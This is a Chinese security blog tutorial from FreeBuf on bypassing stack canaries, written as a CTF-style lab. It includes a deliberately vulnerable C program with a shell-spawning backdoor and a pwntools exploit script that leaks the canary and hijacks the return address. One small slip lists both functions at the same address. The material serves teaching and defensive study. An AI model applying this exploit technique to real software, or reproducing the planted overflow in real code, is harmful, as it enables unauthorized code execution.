freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Canary保护机制及绕过
2022-10-14 17:28:33
所属地 江西省

Canary基本介绍

在基本的栈溢出中,我们可以通过没有限制输入长度或限制不严格的函数等向栈中写入我们构造的数据,可写入的数据包括但不限于:

  • 一段可执行的代码(关闭NX防护的前提下)

  • 一段特意构造的返回地址等

  • ......

传统的防御机制之一就是开启 Canary防护,该机制会向我们运行程序的栈底放入一串8字节的随机数据,在函数即将返回时会验证该数据是否发生改变,若发生改变则说明栈被改变了,直接call__stack_chk_fail。验证成功则跳到leave 和 ret正常的返回。

WeChat Screenshot_20221009181351.png

如何绕过

直接获取栈中canary的值
若该程序会输出我们输入的字符串,则可以在输入数据时估计超出输入的限制1字节,由于C字符串是以'\0'结尾的,我们多输入的1字节就会覆盖'\0',在接下来的输出中,程序本身使用的输出函数没有限制输出的长度,就会将栈中位于所存数据高地址处的Canary值泄露出来,在接下来我们向栈中写入恶意返回地址的时候就可以将该值覆写回去,验证成功。

获取fs:28h中的canary
通过观察汇编代码,我们可以发现每次运行程序产生的随机canary值都存在fs:28h中,接下来会将该值放入EAX中再mov进程序的栈空间内。

mov rax,fs:28h
mov [rbp-8],rax

所以若程序中存在任意读的功能的函数,就可以直接读取该地址中的值即可。

逐字节爆破canary

其余的利用方式由于没有碰到,所以暂时不说,后续遇到了会进行补充。

准备环节

源程序

我们接下来用上述所说的第一种方式来尝试绕过一下canary值的校验。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define MAX_LENGTH 100

void init()
{
    setvbuf(stdin,0,_IONBF,0);
    setvbuf(stdout,0,_IONBF,0);
}

void backdoor()
{

    system("/bin/sh");

}

int main()
{

    char buf[10] = {0};

    init();
    printf("[DEBUGING] main: %p\n",main);
    printf("Hello,What's Your name?\n");

    read(0,buf,MAX_LENGTH);

    printf("%s",buf);
    printf("Welcom!\n");
    printf("But wait,WHO ARE YOU?\n");

    read(0,buf,MAX_LENGTH);

    printf("I don't know you,so bye ;)\n");

    return 0;

}

对应的makefile语句。

OBJS=pwn_1.c
CC=gcc # 默认就为gcc
CFLAGS+=-fstack-protector -no-pie -g

pwn_1:$(OBJS)
        $(CC) $^ $(CFLAGS) -o $@

clean:
        $(RM) *.o # 可不加

之后直接make即可,记得将源文件命名为pwn_1.c,之后gcc可能会提示报错提示read函数可能存在溢出的可能,不用理会。

可能存在的坑

记住头文件的引用,由于使用的read等系统调用函数,所以要进入 Unix标准库unistd.h

checksec

之后我们checksec该文件确保其开启了canary防护机制。

WeChat Screenshot_20221011181209.png

Canary found确认开启

objdump

通过观察代码可以多看到我们代码中是有一个等待被我们利用的函数backdoor()的,所以我们的目的实际上就是在main函数执行完毕之后返回到该函数中,那我们势必就要计算出该函数与main函数偏移之间的关系,这样在装在后既可以通过基地址与偏移量的差值找到backdoor函数的地址。

objdmp -d pwn_1 -M intel

-d 反汇编pwn_1中的需要执行指令的那些section

-M 因特尔风格显示汇编代码,这样更贴近我们常见的汇编风格

启动!

确定问题所在

通过查看源程序(若无法获得源程序可以最简单的通过其行为判断),发现其规定read的最大长度为MAX_LENGTH 100,而其buf空间只有10,所以确认存在栈溢出。

由于接下来的实验的截图不是来自一次完整的流程,而是反复执行为的是更加详细的显示整个流程,所以可能存在前后地址/值不一样的情况。

确定偏移量

首先我们显示用objdump -d pwn_1 确认其.text段中main函数和backdoor函数的偏移量。

WeChat Screenshot_20221011191456.png

此处 (就不补0了)

  • main()的地址为0x401237

  • backdoor()的地址为0x401237

但对于backdoor()来说,由于前两条指令是为了保存之前的栈状态,初始化当前栈空间的,所以我们并不需要,在计算偏移量的时候直接:0x401237 - 0x401225即可。

接下来我们将其应用到最终的脚本中,获取实际backdoor()的地址。

from pwn import *

# from signal import signal, SIGPIPE, SIG_DFL, SIG_IGN
# signal(SIGPIPE, SIG_IGN)

p = process('./pwn_1')

# 暂停执行直到我们回车
raw_input('PAUSE')

# 将mian: 前的字符全过掉 
p.recvuntil(b'main: ')

backdoor = int(p.recvuntil(b'\n',drop=True),16) - ( 0x401237 - 0x401225 )

# 将算出的地址输出给我们看一下
log.info("The backdoor address is :" + hex(backdoor))

由于程序中输出了main()函数的地址,这样就无需再另外获取了,直接接受%p表示的地址即可

backdoor = int(p.recvuntil(b'\n',drop=True),16) - ( 0x401237 - 0x401225 )

用接受到的main()的地址,减去刚刚计算的偏移量,就是进程中backdoor()的地址。

WeChat Screenshot_20221011200055.png

获取到随机的canary值

由于我们的源程序会以字符串的形式输出们输入的内容,而如前面所说 C 字符串是以'\0'结尾的,所以我们只要构造第一个read的数据长度为10 + 1即可覆盖最后的'\0',从而将后面高地址处的canary值也输出。

光说不练假把式,先来看一下我们的脚本:

payload = b'a' * 11
p.sendafter(b'?',payload)

p.recvuntil(b'a' * 11)
canary = b'\0' + p.recv(7)

# 向控制台输出日志
log.info("The Random Canary num is :%x",int.from_bytes(canary,byteorder='little'))
  • 第一个问题:为什么canary = p.recv(7)
    由于我们刚刚输入了11个字节,而buf只有10个字节的大小,这样我们就可以向上覆盖,覆盖掉了canary中的一个字节,同时可以读取到canary剩余的7个字节

  • 第二个问题:int.from_bytes(canary,byteorder='little')写法含义
    将字符串对象转为整型小端显示

观察内存

接下来为了方便观察所获的到的值确实是canary的值,所以我们使用gdbattach黏附到我们脚本打开的程序上,来观察。

使用方法 :attach + PID(进入gdb后)

WeChat Screenshot_20221011211411.png

之前我们多覆盖了一位,将 canary 的值低一位由0覆盖为了a,这里再拼接回来即可到此为止,我们就得到了canary值。

向栈中拼入返回地址

先拿来一块该程序的栈空间来观察。

WeChat Screenshot_20221011205258.png

第一个红色方框所圈区域,就是main函数返回的上一个函数的地址(见第二个红色方框),所以我们只要能覆盖该地址即可。

为了覆盖该地址我们需要覆盖从buf开始到该地址的所有空间,但其中存储着canary的位置要将我们刚刚保存出的canary再次放进去即可。

payload = b'a' * 10 # 覆盖数组所有空间
payload += canary # 由于数组空间后紧着的即使 canary 的空间,将该值放回去用来校验

pend = 0
payload += p64(pend) # 覆盖 rbp 指向的 8字节空间

payload += p64(backdoor) # 最终将返回地址放上我们backdoor的地址

p.sendafter(b'YOU?',payload)

# 暂停执行直到我们回车
raw_input('PAUSE')

WeChat Screenshot_20221011210655.png

之后通过gdb查看该进程发现。
WeChat Screenshot_20221011210639.png

成功写入。

成功执行

WeChat Screenshot_20221011211056.png

完整脚本

from pwn import *

# from signal import signal, SIGPIPE, SIG_DFL, SIG_IGN
# signal(SIGPIPE, SIG_IGN)

p = process('./pwn_1')

raw_input('PAUSE')

p.recvuntil(b'main: ')

# canary = 
backdoor = int(p.recvuntil(b'\n',drop=True),16) - ( 0x401237 - 0x401225 )
log.info("The backdoor address is :" + hex(backdoor))

payload = b'a' * 11
p.sendafter(b'?',payload)

p.recvuntil(b'a' * 11)
canary = b'\0' + p.recv(7)

log.info("The Random Canary num is :%x",int.from_bytes(canary,byteorder='little'))

payload = b'a' * 10 # 覆盖数组所有空间
payload += canary # 由于数组空间后紧着的即使 canary 的空间,将该值放回去用来校验

pend = 0
payload += p64(pend) # 覆盖 rbp 指向的 8字节空间

payload += p64(backdoor) # 最终将返回地址放上我们backdoor的地址

log.info("The payload is :%x",int.from_bytes(payload,byteorder='little'))

p.sendafter(b'YOU?',payload)

p.interactive()
# 系统安全 # CTF
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录